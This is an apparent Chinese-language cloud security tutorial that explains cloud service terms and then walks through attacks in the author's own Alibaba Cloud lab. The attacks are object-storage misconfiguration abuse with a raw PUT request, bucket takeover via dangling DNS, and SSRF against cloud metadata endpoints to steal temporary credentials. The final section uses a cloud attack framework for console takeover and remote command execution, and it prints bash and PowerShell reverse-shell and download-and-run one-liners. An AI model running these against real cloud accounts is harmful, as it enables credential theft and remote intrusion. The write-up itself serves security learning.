云相关术语
这一篇是云安全的开篇,开篇结合《计算机安全原理与实践》对云的介绍。
云计算
许多组织将其主要甚至全部的信息技术(IT)操作转移到与Internet连接的基础设施上,即企业云计算。
云计算要素
与计算的定义:云计算是一种可提供普适而便捷的通过网络按需访问可配置计算资源(如网络、服务器、存储、应用软件和服务)的共享模型池,而且只需要投入很少的管理工作或与服务提供者进行很少的交互,这些资源就可以被迅速地提供和释放。
这种云模型由五种基本特征、三种服务模型和四种部署模型组成,提高资源地可用性。基本特征包括:
- 广泛的网络接入(board network access):即通过网络和标准机制,实现各种不同的客户平台(如笔记本、平板电脑),以及其他传统的或基于云的软件服务对云资源进行访问的功能。
- 快速的伸缩性(rapid elasticity):云计算赋予客户根据自己的特点服务需求来扩展和收缩使用资源的能力。例如执行某一特定任务时可能需要大量的服务器资源,并在完成后释放。
- 可测量的服务(measured service):
- 按需自服务(on-demand self-service):
- 资源池(resource pooling):
云服务模型
NIST定义了三种服务模型:
- 软件即服务(SaaS)
- 平台即服务(PaaS)
- 基础设施即服务(IaaS)
通过云服务提供者为三种服务模型实施的功能,来对比不同
- 紫色部分为用户可使用的资源。
- 国内外的云服务提供商。
国内有阿里云、腾讯云、华为云、天翼云、Ucloud、金山云等,
国外有亚马逊的AWS、Google的GCP、微软的Azure,IBM云等。 - 各个云厂商对云服务的叫法都不统一,这里统一以AWS为例。
- S3 对象存储(Simple Storage Service),简单的说就是一个类似网盘的东西。
- 阿里云:OSS 腾讯云:COS 华为云:OBS
- 谷歌云:GCS 微软云:Blob 亚马逊云:S3
- EC2 即弹性计算服务(Elastic Compute Cloud),简单的说就是在云上的一台虚拟机。
- RDS 云数据库(Relational Database Service),简单的说就是云上的一个数据库。
- IAM 身份和访问管理(Identity and Access Management),简单的说就是云控制台上的一套身份管理服务,可以用来管理每个子账号的权限。
云部署模型
云部署模型与云所有权和管理有关。下面介绍四个最重要的部署模型:
- 公有云:重点服务云服务客服和按需付费的中小型企业,对外服务。
- 私有云:在组织的内部IT环境中实施。
- 社区云:具有公有云和私有云的特征,
- 混合云:两个或更多云组成,依然是实体,通过标准化和专有技术绑定在一起。利用混合云解决方案,敏感度较高的信息可以放置在云的私有区域,敏感度较低的数据则可以充分利用公有云优势。
云存储漏洞
先去阿里云购买一个OSS,新用户有15元优惠卷可以体验,刚好拿来做实验了。
剩下就是支付流程,根据实际情况支付就行,不赘述。购买完成后,回到OSS会提示”抱歉,您尚未开通对象存储服务 OSS,请您立即开通。”,直接开通即可。接下来创建一个bucket(存储桶)。
然后随便上传一个文件,我这里选择了一个头像。注意这里的读写权限是私有。
然后,打开文件列表,就会有个文件地址。
这里我就先打马赛克了,url里面是带着OSSAccessKeyId
和Signature
和Expires
的。下面提到的AccessKeyId
泄露就是要说这一点。这里解释一下url的构成
https://rainy0x403.oss-cn-qingdao.aliyuncs.com/b_17d9ba1568e93cc4de83f15d65794962.jpg
# rainy0x403 是bucket名称
# cn是区域,中国内陆
# qingdao是地域
# aliyun是服务商的名称
# 后面是我文件的名字
前面提到,我这是私有的,所以直接访问这个url,就会提示非法访问
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<Code>AccessDenied</Code>
<Message>You have no right to access this object because of bucket acl.</Message>
<RequestId>6724A2AA2C39253234675DD1</RequestId>
<HostId>rainy0x403.oss-cn-qingdao.aliyuncs.com</HostId>
<EC>0003-00000001</EC>
<RecommendDoc>https://api.aliyun.com/troubleshoot?q=0003-00000001</RecommendDoc>
</Error>
下面开始讲关于OSS配置相关的漏洞:
权限配置错误
公共读或公共读写:
阿里云注意到这一点,新加了阻止公共访问,如果不关闭这个选项就无法修改读写权限。
然后找到读写权限->设置->改为公共读,然后保存。这样可以正常访问文件了。但是不设置授权的情况下是拿不到ListObject的。ListObject完整结构下面会提到。
权限Bucket授权策略
设置ListObject显示完整结构,目的就是显示当前bucket的文件结构
此时只需要访问一下url,便可以拿到整个bucket的目录文件结构。
https://rainy0x403.oss-cn-qingdao.aliyuncs.com/
权限Bucket读写权限
公共读写直接PUT文件任意上传
在不进行读写授权的情况下,通过burpsuite抓包访问https://rainy0x403.oss-cn-qingdao.aliyuncs.com/
,然后修改为PUT上传的方式写入文件。
PUT /rainy.txt HTTP/1.1
// 这里改为PUT, 文件路径改为写入的文件名
Host: rainy0x403.oss-cn-qingdao.aliyuncs.com
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 10
rainy0x403
然后会得到以下回显,
HTTP/1.1 403 Forbidden
Server: AliyunOSS
Date: Fri, 01 Nov 2024 10:10:52 GMT
Content-Type: application/xml
Content-Length: 384
Connection: close
x-oss-request-id: 6724A92C49A6E03337172CDC
x-oss-server-time: 5
x-oss-ec: 0003-00000001
<?xml version="1.0" encoding="UTF-8"?>
<Error>
<Code>AccessDenied</Code>
<Message>You have no right to access this object because of bucket acl.</Message>
<RequestId>6724A92C49A6E03337172CDC</RequestId>
<HostId>rainy0x403.oss-cn-qingdao.aliyuncs.com</HostId>
<EC>0003-00000001</EC>
<RecommendDoc>https://api.aliyun.com/troubleshoot?q=0003-00000001</RecommendDoc>
</Error>
很明显是403错误,未授权。根据前面设置公共读的流程该成公共读写。再次发送上面的包,会提示写入成功,然后再bucket内,就可以看到文件了
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Fri, 01 Nov 2024 10:16:06 GMT
Content-Length: 0
Connection: close
x-oss-request-id: 6724AA66D2D2FB373824B4E0
ETag: "7C689EEE52F793B09C1EA492147F8866"
x-oss-hash-crc64ecma: 11858988537405283840
Content-MD5: fGie7lL3k7CcHqSSFH+IZg==
x-oss-server-time: 9
域名解析Bucket接管
Bucket存储桶绑定域名后,当存储桶被删除而域名解析未删除,可以尝试接管!
找到bucket配置->域名管理->绑定域名。直接ping该域名会直接ping rainy0x403.oss-cn-qingdao.aliyuncs.com
,这样就可以通过域名直接对bucket
进行读写操作,读写权限依然受限于bucket的权限设置。
但是如果对方只删除了bucket,并未删除记录值。那么我们就可以通过域名解析的逻辑接管bucket,例如
yuxingchen.love -> rainy0x403.oss-cn-qingdao.aliyuncs.com
此时ping yuxingchen.love
会访问rainy0x403.oss-cn-qingdao.aliyuncs.com
,如果对方删除bucket,但并未删除记录值,我们只需要将我们的bucket的域名解析设置为rainy0x403.oss-cn-qingdao.aliyuncs.com
,此时的解析链条为:
oss.yuxingchen.love -> rainy0x403.oss-cn-qingdao.aliyuncs.com
rainy0x403.oss-cn-qingdao.aliyuncs.com -> evil bucket
这样对方向oss.yuxingchen.love
写入文件,便写入了evil bucket
当Bucket显示NoSuchBucket说明是可以接管的,如果显示AccessDenied则不行。
AccessKey,SecretAccessKey泄漏
- APP,小程序,JS中泄漏导致
- 在托管平台找到存在泄露的AccessKey
- 在第三方组件配置不当导致泄露AccessKey
- 常见场景:/actuator/heapdump堆转储文件泄露SecretId/SecretKey
- 在APP,小程序反编译中泄漏AccessKey
- AccessKey标识特征
https://wiki.teamssix.com/CloudService/more/
云服务器ECS
元数据解释:
实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信息:实例ID、IP地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文档和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份。)
各大云元数据地址:
阿里云元数据地址:http://100.100.100.200/
腾讯云元数据地址:http://metadata.tencentyun.com/
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
细节方面可通过访问官网找元数据访问触发说明,阿里云例子:https://help.aliyun.com/zh/ecs/user-guide/manage-instance-metadata
CAM访问控制
CAM访问管理->用户->用户列表->自定义创建->可访问资源并接收消息
# 阿里云RAM用户登录地址
https://signin.aliyun.com/login.htm?spm=a2c4g.11186623.0.0.748534eaPftcqw#/main
# 腾讯云CAM用户登录地址
此时创建了一个名为debian12的用户,腾讯云默认没有STS策略,需要手动添加
下一步,授权给debian12用户。
SSRF获取临时凭证横向渗透
- 前提条件:
- 弹性计算配置访问控制角色
- SSRF漏洞或已取得某云服务器权限(webshell或漏洞rce可以访问触发url)
以阿里云为例,主要是拥有权限和访问/latest/meta-data/cam/security-credentials/
目录的方式。
- 利用方式
- 获取临时凭证
# 如果拿到对方服务器权限
curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/用户名称
# SSRF漏洞, 直接访问
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/用户名称
然后利用CF 云渗透框架项目:https://wiki.teamssix.com/CF/
进行横向移动
cf config
{
"AccessKeyId":
"AccessKeySecret":
"SecurityToken":
}
访问控制
- 一键接管控制台
// 一键接管
cf alibaba/tencent console -u rainy
// -u 指定用户名
// 密码为TeamxSix@666
// 取消接管
cf alibaba console cancel
// 查看接管控制台信息
cf alibaba console ls
- 一键列出腾讯云的凭证权限
cf tencent perm
弹性计算服务
- 使用以下命令列出云服务器
cf tencent cvm ls
cf tencent lh ls
可以使用 -r
或者 --region
参数指定区域,使用 -i
或者 --instanceID
参数指定实例 ID,使用--running
参数查看正在运行的实例。
- 执行命令
cf tencent cvm exec -c whoami
cf tencent cvm exec -f teamssix.txt // 多行命令
cf tencent lh exec -c whoami
cf tencent lh exec -f teamssix.txt
- 在腾讯云上一键执行三要素
cf tencent cvm exec -b
cf tencent lh exec -b
- 反弹shell
cf tencent cvm exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
cf tencent lh exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
在 CF 中使用的 Linux 反弹 Shell 如下
bash -i >& /dev/tcp/123.123.123.123/4444 0>&1
在 CF 中使用的 Windows 反弹 Shell 如下
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 4444 -e cmd